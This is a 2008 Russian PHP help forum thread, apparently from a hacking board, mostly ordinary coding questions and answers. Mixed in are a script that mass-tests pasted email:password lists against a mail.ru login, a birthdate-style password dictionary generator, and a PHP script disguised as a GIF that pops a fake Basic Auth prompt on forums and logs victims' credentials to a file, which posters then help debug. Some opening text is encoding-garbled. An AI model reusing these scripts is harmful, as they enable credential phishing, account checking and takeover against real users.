Error_Reporting(E_ALL & ~E_NOTICE);
?>
set_time_limit() = <? if($limit) echo('<font color=YellowGreen>On</font> (Âðåìÿ ðàáîòû ñêðèïòà íå îãðàíè÷åíî)'); else echo('<font color=Red>Off</font> (Âðåìÿ ðàáîòû ñêðèïòà îãðàíè÷åíî)'); ?><br><br>
<?

print('<form method="POST">');
print('</br>' );
print('<textarea rows="15" cols="45" name="str"></textarea>'."<br />\r\n");
print('</br>' );
print('<input type="submit" name="sub" value=" Go! " />'."<br />\r\n");
print('</form>');


if(isset($_POST['sub']))
{
$mails=$_POST['str'];
$mails=explode("\r\n", trim($mails));
foreach($mails as $mail)
{
preg_match("#(.+)@(.+):(.+)#",$mail,$content);
$login=$content[1];
$domain=$content[2];
$pass=$content[3];
$login=trim($login);
$domain=trim($domain);
$pass=trim($pass);
$post="page=http%3A%2F%2Ffoto.mail.ru%2Fbk%2Fjofa%2F681%2 F686.html&Login=".$login."&Domain=".$domain."&Password=".$pass."&level=1";
$sock=@fsockopen("www.foto.mail.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"POST /bk/jofa/681/686.html HTTP/1.1\r\n".
"Host: www.foto.mail.ru\r\n".
"User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
"Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n".
"Accept-Language:ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n".
"Accept-Encoding:gzip,deflate\r\n".
"Accept-Charset:windows-1251,utf-8;q=0.7,*;q=0.7\r\n".
"Keep-Alive:300\r\n".
"Connection:keep-alive\r\n".
"Referer:http://foto.mail.ru/bk/jofa/681/686.html\r\n".
"Cookie:p=9C0AAFvPiwAA; __utma=56108983.1873436047.1207337938.1208597277.1 208633011.3; __utmz=56108983.1207337938.1.1.utmccn=(organic)|ut mcsr=google|utmctr=%D0%B1%D1%8C%D1%8E%D1%82+%D0%BF %D0%B0%D0%B2%D0%BB%D0%B0+%D0%B2%D0%BE%D0%BB%D1%8E| utmcmd=organic; c8=R08KSAAAAAIB5AEAAAAAAgrVBAAAAAAA; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAABAAABAAAAAAAAAAAAABsFxAcA; mrcu=F0414753EA2761E6F5C5FE0554C2; Mpopl=1969011295; __utmb=56108983; __utmc=56108983\r\n".
"Content-Type:application/x-www-form-urlencoded\r\n".
"Content-Length:".strlen($post)."\r\n\r\n".$post);

}
while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
echo $img;

}








}

?>

Architek86
21.04.2008, 00:25
Нужен следующий скриптик:
открывает файл main.txt, ищет в нём 4 слова (или 4 строки - не важно, главное, чтобы было попроще) : "aaa", "bbb", "ccc", "ddd" и заменяет их соответсвенно на "111", "222", "333", "444" (без ковычек).
Вот :)

astrologer
21.04.2008, 00:56
<?php
$nm = 'main.txt';
file_put_contents( $nm, str_replace( array('aaa', 'bbb', 'ccc', 'ddd'), array(111, 222, 333, 444), file_get_contents($nm)));
?>

m0nsieur
21.04.2008, 01:04
Тоже как вариант. Правда более громоздкий.

<?
$fp = fopen("file.txt","a+");
$str = fread($fp, filesize ('file.txt'));
$search = array('/aaa/','/bbb/','/ccc/');
$replace = array('111','222','333');
$cnt = count($search);
$result = array();
for($i = 0;$i<=$cnt-1;$i++) {
$result = preg_replace($search[$i], $replace[$i], $str);
}
print_r($result);
fclose($fp);

?>


thx Buffalon =)

Mishatko
21.04.2008, 03:18
Только начал изучать PHP.
Хочу написать генератор словарей, где пассы вида ДДММГГ. Подскажите от чего отталкиваться. Ну циклы само собой. А с помощью массивов реализуемо? Заранее благодарен.

Buffalon
21.04.2008, 07:23
Тоже как вариант. Правда более громоздкий.

<?
$fp = fopen("file.txt","a+");
$str = fread($fp, filesize ('file.txt'));
$search = array('/aaa/','/bbb/','/ccc/');
$replace = array('111','222','333');
$cnt = count($search);
$result = array();
for($i = 0;$i<=$cnt-1;$i++) {
$result = preg_replace($search, $replace, $str);
}
print_r($result);
fclose($fp);

?>

Либо миня лагат с утричка лиибо ты чувак попал))0.. .
for($i = 0;$i<$cnt;$i++) {
$result .= str_replace($search[$i], $replace[$i], $str);
}
print_r($result);
Вроде так.. .Исправьте если что не так... .

Buffalon
21.04.2008, 07:37
VOLAND']

set_time_limit(0);
$f = fopen('dic.txt', 'a+');

// Можно объявить диапазоны в виде массивов,
// а можно так, более изящно:
$dd = range(1, 31);
$mm = range(1, 12);
$gg = range(0, 99);

// Добавляем к числу нуль если оно меньше 10:
function addnull($s)
{
if ($s < 10) { $s = '0' . $s; }
return $s;
}

$dd = array_map('addnull', $dd);
$mm = array_map('addnull', $mm);
$gg = array_map('addnull', $gg);

//Генерируем словарь:
for ($i = 0; $i < sizeof($gg); $i++)
{
for ($j = 0; $j < sizeof($mm); $j++)
{
for ($k = 0; $k < sizeof($dd); $k++)
{
fputs($f, $dd[$k] . $mm[$j] . $gg[$i] . "\n");
}
}
}
echo('ok');

Генерирует сравнительно быстро. Всего получается ~37 тыс. паролей.
ВОт так чуть понятней кто хечет разобратьси правдо размер жутко увеличивает... .
fputs($f, $dd[$k] . " " . $mm[$j] . " " . $gg[$i] . " " . " \n");
Автор слушай
$dd = array_map('addnull', $dd);
А вот тут чо ты незадаешь addnull а он работает?

SeGaLWS
21.04.2008, 13:33
А вот тут чо ты незадаешь addnull а он работает?
function addnull($s)
{
if ($s < 10) { $s = '0' . $s; }
return $s;
}

krypt3r
21.04.2008, 14:18
Понедельник - день тяжелый. Buffalon не увидел в коде функции addnull, [x26]VOLAND не понял, что SeGaLWS пишет не ему, а Buffalon'у, указывая на ту самую функцию

Doom123
21.04.2008, 15:11
Привет! Может мне ктонибудь обьеснить как обычно реализуют удаление ссылки на восстановление пароля по прошествии 24 часов? типо пользователь запрашивает восстановление пароля ему приходит сообщение на мыло и ссылка .. в сообщение говорят что ссылка будет аннулирован по прошествии 24 как это сделать?)

d_x
21.04.2008, 15:18
Можно после того, как пользователь запросит восстановление пасса, записать в базу его id и время запроса, а потом, как он пройдёт по ссылке, смотреть в базе, когда был сделан запрос на восстановление и сравнивать с текущим временем.

Doom123
21.04.2008, 15:21
Ну я у себя это также реализовал) просто думал может в мускл есть спецальная команда какая нибудь=)

Buffalon
21.04.2008, 16:12
Понедельник - день тяжелый. Buffalon не увидел в коде функции addnull, [x26]VOLAND не понял, что SeGaLWS пишет не ему, а Buffalon'у, указывая на ту самую функцию
Прав... .СОри.

Doom123
21.04.2008, 21:48
Чем отличается работа mysql функций от mysqli функций ? кроме того что mysql работает со всеми версиями пхп и БД а mysqli с пхп5 и БД 4.1 и выше
и обязательного указания индетификатора подключения

Red_Red1
21.04.2008, 22:27
2 Дум123
Может это пригодится http://phpclub.ru/detail/article/mysqli
От себя добавлю.... написать уязвимый скрипт при использовании этой библиотеки достаточно тяжело ;) так что это хорошая защита от скульиньектов

krypt3r
22.04.2008, 13:24
Сойдет, но это наипростейший вариант, будет много лишних дат - не во всех же месяцах по 31 дню

Корвин
22.04.2008, 14:49
в onclick можно запихнуть php фунцию??? типа:


<a href="#" onclick="func()">
<? function func()
{
asd
}
?>

astrologer
22.04.2008, 14:55
в onclick можно запихнуть php фунцию??? типа:


<a href="#" onclick="func()">
<? function func()
{
asd
}
?>

Нет =)

.:EnoT:.
22.04.2008, 16:21
в onclick можно запихнуть php фунцию??? типа:


<a href="#" onclick="func()">
<? function func()
{
asd
}
?>

Нет =)
вы чего, конечно можно

<?php
function somefunc($str)
{
return 'alert(\''.$str.'\')';
}
?>
<a href="#" onclick="<?=somefunc('Йа креведко');?>">Сиськи</a>
:D :D

astrologer
22.04.2008, 16:30
вы чего, конечно можно

<?php
function somefunc($str)
{
return 'alert(\''.$str.'\')';
}
?>
<a href="#" onclick="<?=somefunc('Йа креведко');?>">Сиськи</a>
:D :D
Хитрый :)

Red_Red1
22.04.2008, 16:33
Сойдет, но это наипростейший вариант, будет много лишних дат - не во всех же месяцах по 31 дню
А такой вариант подойдет? :)

for ($j=1; $j<100; $j++)
for ($i=189295200; $i<220917600 ; $i=$i+86400)
{
$s=sprintf("%02d",$j);
echo date('dm',$i).$s;
echo '<br>';

}

Тут просто вывод, если надо в файл то вместо echo делаем запись в файл :).
З.Ы.
Можно и без вложеного цикла... но функции работы с датами имеют диапазон от 1970 по 2038 посему именно так.
Лишние даты есть - это 29 февраля в не високосных годах ;)

Nightmarе
23.04.2008, 01:41
Народ, подскажите пожалуйста как на php отследить пренадлежит ли IP адрес нужному диапазону.
Например я хочу сделать бан по диапазону скажем 32.60.*.* как это можно реализовать?
Что-то типа:
if ('32.60' ==$remoteaddr) then
Только как правильно это реализовать, я не знаю.

Doom123
23.04.2008, 01:54
if(preg_match('#32\.60\.\d{1,3}\.\d{1,3}#',$remote addr)){
ban;
}

Не проверял но вроде должно работать

Doom123
23.04.2008, 02:03
если нада из БД брать делай так
в бд например

$fetch['ban'] = '32.60.*.*';
делаем
$fetch['ban'] = preg_quote($fetch['ban']);
$fetch['ban'] = str_replace('*','\d{1,3}',$fetch['ban']);
if(preg_match("#$fetch['ban'] #",$remote addr)){
ban;
}

Doom123
23.04.2008, 02:56
Написал класс для работы с БД но проблема в то что он работает только в виндовс в локлке а на сервере не хочет

вот сам класс

<?php

/**
* @author @FATAL@
* @copyright 2008
*/

class DB
{
public function __construct($host,$user,$db_pass,$db)
{
$this->connect = mysqli_connect($host,$user,$db_pass);
mysqli_select_db($this->connect,$db);
}
function mysql_qw()
{
$this->args = func_get_args();
$qwery = $this->mysql_make_qw();
return $result = mysqli_query($this->connect,$qwery);
mysqli_free_result($result);
}
private function mysql_make_qw()
{
$tml = $this->args;
$tml[0] = str_replace('%','%%',$tml[0]);
$tml[0] = str_replace('?','%s',$tml[0]);
foreach ($tml as $i => $v)
{
if (!$i)
{
continue;
}
if (is_int($v))
{
continue;
}
$tml[$i] = "'" . mysqli_escape_string($this->connect,$v) . "'";
}
for ($i = $c = count($tml) - 1; $i < $c + 20; $i++)
{
$tml[$i + 1] = "UNKNOWN_PLACEHOLDER_$i";
return call_user_func_array("sprintf",$tml);
}
}

public function __destruct()
{
mysqli_close($this->connect);
}
}
?>

на сервере PHP 5 mysql 5

на компе денвер 3

на сервере пишет

Fatal error: Call to undefined function mysqli_connect() in /data/home/******/*****/includes/mysql.class.php on line 12

Видему функция отключена?

symbioin
23.04.2008, 03:23
mysqli таково нету :(

есть mysql

попробуй

astrologer
23.04.2008, 03:30
mysqli таково нету :(

есть mysql

попробуйhttp://ru2.php.net/mysqli

Doom123
23.04.2008, 03:53
symbioin Есть. Это новая библиотека в PHP 5

Isis
23.04.2008, 04:47
На сервере нету mysqli, перепиши скрипт на mysql

krypt3r
23.04.2008, 07:05
if(preg_match('#32\.60\.\d{1,3}\.\d{1,3}#',$remote addr)){
ban;
}

Не проверял но вроде должно работать

Можно и вот так, например

$ip = $_SERVER['REMOTE_ADDR'];
if (preg_match ('/^32\.60(\.([0-9]|[0-9][0-9]|[01][0-9][0-9]|2[0-4][0-9]|25[0-5])){2}$/', $ip))
{
ban;
}

Isis
23.04.2008, 07:24
Народ, подскажите пожалуйста как на php отследить пренадлежит ли IP адрес нужному диапазону.
Например я хочу сделать бан по диапазону скажем 32.60.*.* как это можно реализовать?
Что-то типа:
if ('32.60' ==$remoteaddr) then
Только как правильно это реализовать, я не знаю.
<?php
if(strpos($_SERVER['REMOTE_ADDR'], '32.60.') !== false) ban();
?>

Или

<?php
if(substr($_SERVER['REMOTE_ADDR'], 0, 5) == '32.60.') ban();
?>

Хелпер
23.04.2008, 08:07
Вопрос тупой, но как определить юзерагента???

GreenBear
23.04.2008, 08:19
$_server['http_user_agent']

Хелпер
23.04.2008, 08:29
Вот написал скрипт вывода на экран юзер агента.

<?PHP
$x= $_server['http_user_agent'];
echo $x;
?>

А он мне пустой лист. В разных браузерах. :(

krypt3r
23.04.2008, 08:32
$_SERVER['HTTP_USER_AGENT'] - большими буквами. Или через get_browser()

Хелпер
23.04.2008, 09:07
Пасибо.
И еще вопрос.

<?php
$x= $_SERVER['HTTP_USER_AGENT'];
switch ($x)
{
case ('Opera/9.25 (Windows NT 5.1; U; ru)');
echo Опера;
}

Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?

krypt3r
23.04.2008, 09:22
Вариантов куча

if (strstr ($SERVER['HTTP_USER_AGENT'], "Opera") !== FALSE)
echo "Это опера";

Можно другими функциями - ereg, preg_match, stristr...

Корвин
23.04.2008, 09:31
Пасибо.
И еще вопрос.

<?php
$x= $_SERVER['HTTP_USER_AGENT'];
switch ($x)
{
case ('Opera/9.25 (Windows NT 5.1; U; ru)');
echo Опера;
}

Если версия оперы 9,25 то все гуд, но если опера 9,27 или другая, то не выполняется. Можно ли чтоб тока если есть слово Opera, уже выполнять действие?

<?
$x = $_SERVER['HTTP_USER_AGENT'];
$y = 'Opera';
$check = strpos($x, $y);
if ($check === false)
{
echo 'Другой браузер<br>';
}
else
{
echo 'Опера';
}
?>

вот тут пофиг какая версия=)

и еще посмари переменную сервер много полезного увидишь)))


<?
echo '<pre>';
print_r ($_SERVER);
echo '</pre>';
?>

НTL
23.04.2008, 13:59
Как подменить адрес сайта?
например я на сайте 1.ru, а в адресной строчке написано 2.ru

159932
23.04.2008, 14:02
это к Php вообще не относится !
это происходит когда к серверу привязывается один или более доменов ..

НTL
23.04.2008, 14:03
А с помощью PhP это некак нельзя сделать?

159932
23.04.2008, 14:11
нет - потому что это никак не связано ...

НTL
23.04.2008, 18:45
А еще есть какие нибудь способов кроме таво?

fireball
23.04.2008, 21:06
Возварщаясь к видео, с которого крали пароль, так вот там способ загнать пхп скрипт в картинку, тобишь сделать скрипт картинкой, и там такой скрипт
<?
//делаем скрипт картинкой
Header("Content-Type: image/gif");
//делаем изображение смайликом из архива
$image = ImageCreateFromGif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="ussr-clan-swat.ucoz.ru - login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>




Однако, при проверке через свой браузер(их 3) никакая картинка не была видна, пытался заливать на хостинге так смотрел и ничего.
Внимание вопрос: как сделать, чтобы она всё таки была видна как картинка, ато не очет действовать.\
Само видео basic-auth_vs_forums в античате лежит со скриптами в архиве.

NOmeR1
23.04.2008, 21:17
Я это видео записывал))
Вот возможные причины:
Mellow.gif не был загружен либо по каким-то причинам не отображается
Но скорее всего, у тебя на хостинге нет поддержки .htaccess. В таком случае, измени расширения файла smile.gif на .php. Если будут выводиться ошибки - то скорее всего не поддерживается библиотека GD.

Buffalon
23.04.2008, 21:42
fireball
Мне прикольнуло предложение:Пытался залить на сервер)... .
1.
Всё норм работает.... .
Я думаю ты картинку создал в этом же каталоге mellow.gif
2.
И это тоже видал
//Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин
................
У тибя вылазет окно авторизации?

Architek86
23.04.2008, 21:48
Нужен следующий скрипт...
Дан файл index1.txt, его содержимое:

<!--210456-->некоторый текст 1

<!--051470-->некоторый текст 2

<!--991104-->некоторый текст 3

<!--541068-->некоторый текст 4

...и т.д.

Надо заменить в нём всю строчку, начинающуюся на <!--711054--> (которая там обязательно есть) на значение переменной $content.
Как это реализовать?

И ещё нужен точно такой же скрипт, но который бы просто удалял бы эту строчку.

Piflit
23.04.2008, 21:56
$f = file_get_contents('index1.txt');
$res = str_replace('<!--711054-->', '', $f);
//$res = str_replace('<!--711054-->', $content, $f);
echo $res;

Buffalon
23.04.2008, 22:09
Нужен следующий скрипт...
Дан файл index1.txt, его содержимое:

Надо заменить в нём всю строчку, начинающуюся на <!--711054--> (которая там обязательно есть) на значение переменной $content.
Как это реализовать?

И ещё нужен точно такой же скрипт, но который бы просто удалял бы эту строчку.
Тебе именно та цифра нужна?В примере у тибя её нету если д ато смотри выше если <!--(int)-->
то
$file = file_get_contents('index1.txt');
$res = preg_replace("|<!--(\d+)--|is", '', $file);
if(false)
{
$res = preg_replace("|<!--(\d+)--|is", ';'$content', $file);
}
echo $res;

Zircool
23.04.2008, 22:23
Вопрос по сессиям с сокетами.. Можно ли вот так осужествлять передачу пакетов к сокет соединению..

$sock=@fsockopen("www.site.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"POST /cgi-bin/auth HTTP/1.1\r\n".
"Host: site.ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n".
"Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n".
"Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Referer: http://site.ru/\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Content-Length: ".strlen($post)."\r\n\r\n".$post);

fputs($sock,
"GET /cgi-bin/checkcookie?id=5f52784e5c774c6019050219091d031b040 04f6c5150445e010f07091b00020f1f445e4a510b105d505e5 9194744&user=".$login."&domain=".$domain."&page=http%3a%2f%2ffoto.mail.ru%2f%3flevel%3d1 HTTP/1.1\r\n".
"Host: site.ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n".
"Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n".
"Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Referer: http://site.ru/\r\n".
"Cookie: Mpop=1208971346:5f52784e5c774c6019050219091d031b04 004f6c5150445e010f07091b00020f1f445e4a510b105d505e 59194744:".$login."@".$domain.":-; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAEJ0wcA\r\n\r\n"
);

fputs($sock,
"GET /?level=1 HTTP/1.1\r\n".
"Host: site.ru\r\n".
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n".
"Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n".
"Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n".
"Keep-Alive: 300\r\n".
"Connection: keep-alive\r\n".
"Referer: http://site.ru/\r\n".
"Cookie: Mpop=1208971346:5f52784e5c774c6019050219091d031b04 004f6c5150445e010f07091b00020f1f445e4a510b105d505e 59194744:".$login."@".$domain.":-; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAEJ0wcA\r\n\r\n"
);




Или нужно к каждому запросу открывать новое сокет соединение закрывая прошлое?

Piflit
23.04.2008, 22:33
Zircool если хост один, то можно

imajo.ati
24.04.2008, 00:06
можно ли искать регулярное выражение по введённому тексту а не наоборот?
допустим я назвал файл ~пр[ие]вет~

можно ли найти этот файл через слово привет не занося все имена файлов из директории в переменную(массив) ?

fireball
24.04.2008, 17:49
Возвращаясь к мое теме которая выше на другой странице, короче 1) smile.gif на той де странице, так что всё норм
2) mellow.gif отображается
3) .htaccess поддерживается т.к. использую тот же хостинг что и на видео, да и там сказано
4) на счёт библиотеки GD да скорее всего в ней проблема, сам думал что атк, а посоветуете где обновить? и ещё там какие-то версии гиф не поддерживают наскоко знаю
5)картинка smile.gif в принципе не отображается, запускаю и просто чёрный экран
и сообщение об авторизации не выскакивает... всё)))

Architek86
24.04.2008, 21:16
Не понимаю, почему это не работает...
Дан файл file.php:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>Untitled Document</title>
</head>
<body>
<form method="post" action="file.php">
<input name="cont" type="text">
<input type="submit" value="OK"
</form>
<?php
$fpn=fopen('123.txt','a+');
fwrite($fpn, $cont);
fclose($fpn);
?>
<body>
</body>
</html>
Вроде, при заполнении поля cont и нажатии кнопки OK в файл 123.txt должно записаться то, что было введено в поле cont... но этого не происходит.. где ошибка??

astrologer
24.04.2008, 21:26
fwrite($fpn, $_POST['cont']);?

Architek86
24.04.2008, 21:27
astrologer, точно, как же я мог про это забыть))))))))))))))

Nightmarе
25.04.2008, 01:30
Нужна помощь!!! Смотрите вот конфигурационный файл от форума:
http://site.com/forum/config.php, нужно сделать так, чтобы вместо пароля в нём, он послал запрос на второй файл скрипту, где хранятся пароли сюда:
http://secret.com/script.php, а этот скрипт в ответ отсылает пароли (незнаю может параметром, может ещё как) ТОЛЬКО на определённый URL сюда: http://site.com/forum/config.php.

Тогда будет непробиваемая защита пароля, скрипт по адресу:
http://site.com/forum/config.php нельзя удалить или заменить или модифицировать ибо на нём права 444, а на папках права 555, редактированию не подлежат.
А скрипт http://secret.com/script.php отсылает инфу на URL который подменить никак нельзя.

Ну и собственно вопрос, может кто нибудь поможет с реализацией???
Нужен php код обоих скриптов как это реализовать, кто сможет помочь в этом деле, помогите плииз!!!

d_x
25.04.2008, 01:54
Не думаю, что это будет непробиваемая защита. Если некоторый скрипт в config.php получает пасс, то в случае взлома можно будет получить пассы через этот файл. А во-вторых, если получать пароли с другого сервера, то это будет очень долго. Разницы между такой системой и простым хранением пароля в config.php не вижу...

Nightmarе
25.04.2008, 01:58
Не думаю, что это будет непробиваемая защита. Если некоторый скрипт в config.php получает пасс, то в случае взлома можно будет получить пассы через этот файл. А во-вторых, если получать пароли с другого сервера, то это будет очень долго. Разницы между такой системой и простым хранением пароля в config.php не вижу...
Ну сколько же можно объяснять, если на файл config.php стоят права 444 ну НЕЛЬЗЯ его модифицировать НИКАК. А кроме него пароль получить никто не может НИКТО.
Насчёт долгой загрузки я знаю, но это цена за безопастность.
Блин ну как же мне это реализовать то :(

d_x
25.04.2008, 02:12
Файл модифицировать если и нельзя, но его можно просмотреть например. А чем не устраивает такое:

<?php
$pass='abc';
?>

Если обратиться к config.php по http, то он же ничего не выведет.
По-моему, так легче просто хорошо проверить скрипты на наличие дыр.


А если страдать параноей, то:

config.php - получает пасс
<?php
$pass=file_get_contents("http://secret.com/script.php");
?>

script.php - выдаёт пасс
<?php
if($_SERVER['REMOTE_ADDR']=='1.2.3.4') //тут ip серва, на котором находится config.php
print 'password'; //пароль
?>

Реализацию проверки подлинности получателя пароля кроме как через ip-адрес не вижу.

Nightmarе
25.04.2008, 02:27
По IP и через .htaccess можно. Этот вариант НЕ КАТИТ.

imajo.ati
25.04.2008, 08:20
этот скрипт в ответ отсылает пароли (незнаю может параметром, может ещё как) ТОЛЬКО на определённый URL сюда: http://site.com/forum/config.php
твой файл config.php посылает простой запрос (что-то типа дай пасс) файлу script.php. без всяких хедеров и секретных данных.

скрипт.пхп получив запрос на пассы, просто отсылает их на путь указанный в скрипте (путь должен быть задан простой строкой а не передаваться параметром).
даже если кто-то иной пошлёт запрос script.php он вышлет их только на урл, указанный в самом script.php

т.к. урл или ип машины, ПОСЫЛАЮЩЕЙ запрос, можно подделать, нет смысла разрешать запросы только с определённого компа. лучше разрешить только локальное обращение к config.php (т.е. если leviy.sait.com попытается обратиться к config.php у него должно ничего не выйти)

но если взломают комп на котором script.php, они исправят днс записи и подменят айпишник site.com на свой, и послушный файл руководствуясь внутренними записями днс отошлёт пассы якобы на site.com
(я уже не говорю про получение прав root и чтение всего чего захочется)

кстати можно написать путь вместо http://site.com/forum/config.php например как http://1.1.1.1/forum/config.php и тогда фокус с локальной днс записью не прокатит. но у твоего компутера на котором лежит config.php должен быть статический ип. и если твой сервер перезагрузится, кто-то за это время сможет подделать твой айпи. так что предлагаю вот как:
script.php пусть будет делать проверку на наличие айпишника твоего сервера и одновременно проверку по записям днс (не локальным, через вхуиз), принадлежит ли этот айпишник site.com и наоборот, принадлежит ли имя site.com твоему айпишнику

.:EnoT:.
25.04.2008, 09:54
Nightmare, ну вот например ещё один способ, чтобы если файл config.php вызовут в браузере напрямую, он не выполнялся.
В самое начало скрипта добавь:
<?php if(strpos($_SERVER['PHP_SELF'], 'config.php') == true) exit('Access Denied');?>
Когда файл инклудится в другие файлы то всё будет окей, при запуске скрипта напрямую выдаст Access Denied.
Имхо это единственный не наркоманский выход из ситуации, т.к. способы типо фильтрации по ip и т.д. бред...

Piflit
25.04.2008, 10:23
config.php/lalala
strpos($_SERVER['PHP_SELF'], 'config.php') даст true

d_x
25.04.2008, 14:02
Кроме ip'a можно ещё зделать проверку различных хидеров: user-agent, accept и т.п.
Их все можно подделать

скрипт.пхп получив запрос на пассы, просто отсылает их на путь указанный в скрипте (путь должен быть задан простой строкой а не передаваться параметром).
Предложи реализацию:)

Nightmarе
25.04.2008, 15:28
Нет, с IP не катит никак. Вообще никак, даже если и был бы у сайта собственный IP чего нету.

Я ещё один способ придумал.
Значит, конфиг http://site.com/forum/config.php посылает обычный запрос скрипту который находится на другому сайте http://secret.com/script.php, а этот скрипт как только его вызвали, через сокеты передаёт POST запрос конфигу вот так:
http://site.com/forum/config.php?user=БДюзер&pass=БДпасс и только тогда конфиг получает имя пользователя и пароль, и в этом случае железная привязка к конкретному пути конфига http://site.com/forum/config.php без всяких IP адресов.

Но реализуемо ли такое на php ???

d_x
25.04.2008, 15:37
Скорее всего не реализуемо. Чтобы script.php отправил пароль файлу config.php - это уже второй запрос надо делать. То есть config.php запросил пароль и всё, его выполнение закончилось.

Cecil B Demented
25.04.2008, 16:08
Народ к кому можно обратится по поводу icq-шного протокола, проблемма с посылкой пакета 0xC0 (You were added). Статус я разрулил, а вот при посылке c0 клиент слетает с подключения.
Хотяб структуру данного пакета к отправке увидеть, а то в поиске ток упоминания :(
Направте на путь истинный.

Realix
25.04.2008, 16:27
ребят я в php не силён нужен такой скриптец буквально 2 строки
чтобы брал данные из txt файлека и выводил в виде
<marquee bgcolor="#c0c0c0" behavior="scroll">сюда дабавляется каждая новая строчка из txt файла</marquee>
тоесть я просто добавляю данные в txt файлег а скриптец их в бегущую страку выводит

Doom123
25.04.2008, 16:38
d_x

Может через аякс реализовать т.к например

test1-------------->test2----------------------------------------->conect;
запрос отправляет даные поключения

а если сделать на аяксе

test1------------------>test2-------------------------------------------->connect
^ запрс отправляет даные поключения |
| |
| Данные идут обрато |
---------------------------------------------------------------------------------


Строго не судите я аякс вообще не знаю только теорию примерно=)

zythar
25.04.2008, 16:39
Народ к кому можно обратится по поводу icq-шного протокола, проблемма с посылкой пакета 0xC0 (You were added). Статус я разрулил, а вот при посылке c0 клиент слетает с подключения.
Хотяб структуру данного пакета к отправке увидеть, а то в поиске ток упоминания
Направте на путь истинный.

читай на 147 || 146 странице. там была ссылка на описания протокола.

d_x
25.04.2008, 16:42
Realix, не совсем понял вопрос, поэтому два ответа:

1) выводит каждую отдельную строку в отдельной бегущей строке
<?php
$f=file("имя_файла_со_строками.txt");
foreach($f as $str)
{
print "<marquee bgcolor=\"#c0c0c0\" behavior=\"scroll\">$str</marquee>";
}
?>

2) выводит всё содержимое в одной бегущей строке
<?php
print "<marquee bgcolor=\"#c0c0c0\" behavior=\"scroll\">".str_replace("\n","<br>",file_get_contents("имя_файла_со_строками.txt"))."</marquee>";
?>

Realix
25.04.2008, 17:08
Realix, не совсем понял вопрос, поэтому два ответа:

1) выводит каждую отдельную строку в отдельной бегущей строке
<?php
$f=file("имя_файла_со_строками.txt");
foreach($f as $str)
{
print "<marquee bgcolor=\"#c0c0c0\" behavior=\"scroll\">$str</marquee>";
}
?>

2) выводит всё содержимое в одной бегущей строке
<?php
print "<marquee bgcolor=\"#c0c0c0\" behavior=\"scroll\">".str_replace("\n","<br>",file_get_contents("имя_файла_со_строками.txt"))."</marquee>";
?>


спасибо большое но можно сделать вывод в 1 строчку а не каждую строку в отдельности ?

fireball
25.04.2008, 19:07
Возвращаясь к мое теме которая выше на другой странице, короче 1) smile.gif на той де странице, так что всё норм
2) mellow.gif отображается
3) .htaccess поддерживается т.к. использую тот же хостинг что и на видео, да и там сказано
4) на счёт библиотеки GD да скорее всего в ней проблема, сам думал что атк, а посоветуете где обновить? и ещё там какие-то версии гиф не поддерживают наскоко знаю
5)картинка smile.gif в принципе не отображается, запускаю и просто чёрный экран
и сообщение об авторизации не выскакивает... всё)))

d_x
25.04.2008, 19:31
